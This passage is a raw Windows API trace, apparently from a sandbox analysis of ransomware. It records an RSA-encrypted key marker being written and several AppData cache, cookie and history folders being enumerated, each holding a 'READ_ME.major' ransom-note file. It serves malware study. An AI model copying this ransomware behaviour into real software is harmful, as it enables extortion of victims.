pszString="LZllR6MxYafo/GDP5jq6oc0+xlSMnH/Os6Y53ExaYQCYE7GquuMwNiVKJtWksf5o\ny4BMkipvDhmfP4lMzkTOY8QyF3OVeagdYZcEWVXDYDEmeIfw+nLKzOD4D1d458GN\nCUbJ1dp2RGk/++HpFBNSQ3rakVn6WHxUPYsDWKImMhhG8Tl/fJj2YbJrQ8sU/UOi\n4p6wbwLInJLw1MiK1HADLoOt1wVK5WcFQvJdyVuNH7AvikmlYJiP3iSWRaayDioh\n3ZTVLl+VBd6KaUwpAGrBUoCTLFCgOvVek1A89hf8ACBbklq32+mSNI5ESoGvGIGB\nYxjBQitYqUAlgNCnmy1oXw==\n", pcchString=0x2e3f9a8) returned 1 [0207.952] WriteFile (in: hFile=0x1574, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0207.952] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0207.952] WriteFile (in: hFile=0x1574, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0207.952] CloseHandle (hObject=0x1574) returned 1 [0207.953] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7a79bf59, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a79bf59, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3302f8f4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d518 [0207.954] FindNextFileW (in: hFindFile=0x2f2d518, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7a79bf59, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a79bf59, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3302f8f4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.954] FindNextFileW (in: hFindFile=0x2f2d518, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3302f8f4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3302f8f4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3302f8f4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.954] FindNextFileW (in: hFindFile=0x2f2d518, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3302f8f4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3302f8f4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3302f8f4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.954] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7a79bf59, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a79bf59, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3302f8f4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d618 [0207.954] FindNextFileW (in: hFindFile=0x2f2d618, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7a79bf59, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a79bf59, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3302f8f4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.954] FindNextFileW (in: hFindFile=0x2f2d618, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3302f8f4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3302f8f4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3302f8f4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.954] FindNextFileW (in: hFindFile=0x2f2d618, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3302f8f4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3302f8f4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3302f8f4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.954] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7a79bf59, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a79bf59, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3302f8f4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2de98 [0207.954] FindNextFileW (in: hFindFile=0x2f2de98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7a79bf59, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a79bf59, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3302f8f4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.955] FindNextFileW (in: hFindFile=0x2f2de98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3302f8f4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3302f8f4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3302f8f4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.955] FindNextFileW (in: hFindFile=0x2f2de98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3302f8f4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3302f8f4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3302f8f4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.955] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3b36d31b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc8f96c4f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x333e920f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2de18 [0207.955] FindNextFileW (in: hFindFile=0x2f2de18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3b36d31b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc8f96c4f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x333e920f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.955] FindNextFileW (in: hFindFile=0x2f2de18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x333e920f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x333e920f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x333e920f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.955] FindNextFileW (in: hFindFile=0x2f2de18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x333e920f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x333e920f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x333e920f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.955] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3b36d31b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc8f9743d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x333e920f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2da58 [0207.955] FindNextFileW (in: hFindFile=0x2f2da58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3b36d31b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc8f9743d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x333e920f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.955] FindNextFileW (in: hFindFile=0x2f2da58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x333e920f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x333e920f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x333e920f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.955] FindNextFileW (in: hFindFile=0x2f2da58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x333e920f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x333e920f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x333e920f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.955] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3b36d31b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc8f97fc5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x333e920f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2e018 [0207.956] FindNextFileW (in: hFindFile=0x2f2e018, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x3b36d31b, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc8f97fc5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x333e920f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.956] FindNextFileW (in: hFindFile=0x2f2e018, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x333e920f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x333e920f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x333e920f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.956] FindNextFileW (in: hFindFile=0x2f2e018, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x333e920f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x333e920f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x333e920f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.956] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\ActiveSync\\LocalState\\DiagOutputDir\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x120dd386, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x120dd386, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3345bab9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2db18 [0207.956] FindNextFileW (in: hFindFile=0x2f2db18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x120dd386, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x120dd386, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3345bab9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.956] FindNextFileW (in: hFindFile=0x2f2db18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3345bab9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3345bab9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3345bab9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.957] FindNextFileW (in: hFindFile=0x2f2db18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3345bab9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3345bab9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3345bab9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.957] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x83eb0c97, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83eb0c97, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3345bab9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2dd18 [0207.957] FindNextFileW (in: hFindFile=0x2f2dd18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x83eb0c97, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83eb0c97, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3345bab9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.957] FindNextFileW (in: hFindFile=0x2f2dd18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3345bab9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3345bab9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33481c45, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.957] FindNextFileW (in: hFindFile=0x2f2dd18, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3345bab9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3345bab9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33481c45, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.957] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x83eb0c97, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83eb0c97, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x33481c45, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2df58 [0207.957] FindNextFileW (in: hFindFile=0x2f2df58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x83eb0c97, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83eb0c97, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x33481c45, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.957] FindNextFileW (in: hFindFile=0x2f2df58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33481c45, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33481c45, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33481c45, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.957] FindNextFileW (in: hFindFile=0x2f2df58, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33481c45, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33481c45, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33481c45, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.958] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x83eb0c97, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83eb0c97, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x33481c45, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2dad8 [0207.958] FindNextFileW (in: hFindFile=0x2f2dad8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x83eb0c97, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83eb0c97, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x33481c45, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.958] FindNextFileW (in: hFindFile=0x2f2dad8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33481c45, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33481c45, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33481c45, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.958] FindNextFileW (in: hFindFile=0x2f2dad8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33481c45, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x33481c45, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x33481c45, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.958] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\CortanaListenUIApp_cw5n1h2txyewy\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x83105dc2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83105dc2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3354131e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2da98 [0207.958] FindNextFileW (in: hFindFile=0x2f2da98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x83105dc2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83105dc2, 